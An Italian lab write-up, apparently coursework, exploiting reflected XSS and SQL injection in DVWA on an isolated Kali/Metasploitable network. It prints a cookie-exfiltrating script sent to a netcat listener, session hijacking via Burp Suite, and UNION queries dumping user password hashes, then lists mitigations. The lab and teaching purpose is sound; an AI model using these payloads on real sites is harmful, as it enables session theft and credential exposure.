

XSS Reflected e SQL injection

1. OBIETTIVO

- Configurazione laboratorio.
- Collegarsi alla DVWA e testare una vulnerabilità XSS reflected e una SQL injection

2. CONFIGURAZIONE LABORATORIO

Creare l'ambiente di lavoro mettendo in contatto la metasploitable 2 (vittima) e Kali Linux (attaccante) configurando le schede di rete sulla stessa rete interna e testare la connessione tramite ping.

```
(kali@kali)-[~]
$ ping -c 4 192.168.50.101
PING 192.168.50.101 (192.168.50.101) 56(84) bytes of data.
64 bytes from 192.168.50.101: icmp_seq=1 ttl=64 time=2.71 ms
64 bytes from 192.168.50.101: icmp_seq=2 ttl=64 time=3.76 ms
64 bytes from 192.168.50.101: icmp_seq=3 ttl=64 time=3.45 ms
64 bytes from 192.168.50.101: icmp_seq=4 ttl=64 time=3.72 ms

— 192.168.50.101 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3003ms
rtt min/avg/max/mdev = 2.714/3.410/3.760/0.418 ms
```

3. EXPLOIT DELLE VULNERABILITÀ

3.1 XSS REFLECTED

Eseguiamo un'esfiltrazione della sessione cookie:

1. Accedere alla DVWA e impostare low come livello di sicurezza.
2. Dal terminale della kali aprire un server tramite netcat: `nc -lvp 9000`
3. Andare sulla pagina XSS reflected e caricare il seguente script in Java:
`<script>new Image().src="http://192.168.50.50:9000/log?cookie="+document.cookie;</script>`
4. In output sulla pagina comparirà la parola hello, mentre sul terminale della Kali apparirà l'header della richiesta http, da cui possiamo rubare il cookie della sessione.

```
(kali@kali)-[~]
$ nc -lvp 9000
listening on [any] 9000 ...
connect to [192.168.50.50] from (UNKNOWN) [192.168.50.50] 50360
GET /log?cookie=security=low;%20PHPSESSID=5b5a3999091ffaa2dabae29db0f1f0ac HTTP/1.1
Host: 192.168.50.50:9000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.50.101/
Priority: u=5, i
```

[Home](#)[Instructions](#)[Setup](#)[Brute Force](#)[Command Execution](#)[CSRF](#)[File Inclusion](#)[SQL Injection](#)[SQL Injection \(Blind\)](#)[Upload](#)[XSS reflected](#)

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

Hello

More info

<http://ha.ckers.org/xss.html>

http://en.wikipedia.org/wiki/Cross-site_scripting

<http://www.cgisecurity.com/xss-faq.html>

5. Attivare Burpsuite da cui accedere ad una nuova pagina DVWA.
6. Assicurarsi che il pulsante si su intercept on e inserire dei dati di login casuali.



Username

Password

7. Burpsuite intercettando la richiesta permette di cambiarne i parametri: il cookie di sessione con quello che abbiamo catturato su netcat, il livello di sicurezza su low e il percorso inserendo /dvwa/index.php, che è quello della home page.

```
1 POST /dvwa/index.php HTTP/1.1
2 Host: 192.168.50.101
3 Content-Length: 49
4 Cache-Control: max-age=0
5 Accept-Language: en-US,en;q=0.9
6 Origin: http://192.168.50.101
7 Content-Type: application/x-www-form-urlencoded
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chr
0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,im
1 Referer: http://192.168.50.101/dvwa/login.php
2 Accept-Encoding: gzip, deflate, br
3 Cookie: security=low; PHPSESSID=5b5a3999091ffaa2dabae29db0f1f0ac
4 Connection: keep-alive
5
6 username=gsjwgdq&password=dqdygudguqw&Login=Login
```

8. Il risultato finale è l'accesso alla risorsa web senza conoscere i dati di login.



Home
Instructions
Setup
Brute Force
Command Execution
CSRF
File Inclusion
SQL Injection
SQL Injection (Blind)
Upload
XSS reflected
XSS stored
DVWA Security
PHP Info
About

Welcome to Damn Vulnerable Web App!

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.

WARNING!

Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider's public html folder or any internet facing web server as it will be compromised. We recommend downloading and installing [XAMPP](#) onto a local machine inside your LAN which is used solely for testing.

Disclaimer

We do not take responsibility for the way in which any one uses this application. We have made the purposes of the application clear and it should not be used maliciously. We have given warnings and taken measures to prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it.

General Instructions

The help button allows you to view hits/tips for each vulnerability and for each security level on their respective page.

Login failed

3.2 SQL Injection

1. Andare nella pagina SQL injection.

2. Fare una serie di tentativi per trovare il comando giusto:

' UNION SELECT user(),null -- -

→ Trovare il numero di colonne

giuste aggiungendo null finché non da più errore.

' UNION SELECT user(), database() -- -

→ Trovare il nome del database.

' UNION SELECT table_name, column_name FROM information_schema.columns

WHERE table_schema='dvwa' -- -

→ Trovare i nome delle tabelle nel

database dvwa

' UNION SELECT user, password FROM users -- - → Trovare le password dei rispettivi utenti

```
ID: ' UNION SELECT user, password FROM users -- -
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

```
ID: ' UNION SELECT user, password FROM users -- -
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
```

```
ID: ' UNION SELECT user, password FROM users -- -
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
```

```
ID: ' UNION SELECT user, password FROM users -- -
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
```

```
ID: ' UNION SELECT user, password FROM users -- -
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

4. CONCLUSIONE

In questo progetto è stato testato una vulnerabilità di tipo XSS Reflected e SQL injection all'interno di un ambiente controllato della DVWA.

Grazie all'inserimento di uno script malevolo in JavaScript abbiamo inviato una richiesta HTTP GET silenziosa contenente i cookie di sessione verso il server creato con netcat della macchina attaccante. Siamo riusciti tramite una vulnerabilità apparentemente semplice a rubare la sessione di una vittima e ad accedere alla pagina senza conoscere la necessità delle credenziali.

Il programmatore per tappare queste vulnerabilità dovrebbe:

- Sanificare l'input dell'utente e ogni carattere speciale deve essere convertito nel corrispettivo HTML.
- Inserire dei flag sui cookie di sessione in modo da impedire a JavaScript di accedere ai cookie.
- Definire quali sono i domini con l'autorizzazione di caricare e eseguire script.

Inoltre sfruttando una vulnerabilità di SQL siamo riusciti a unire l'input fornito dall'utente alla query SQL inviata al database per risalire alla tabella contenente i nomi degli utenti con le rispettive password in hash. Per proteggere il sito da questo tipo di attacchi è da implementare la seguente soluzione:

- Parametrizzare la query per impedire che unisca gli input utente con il codice SQL.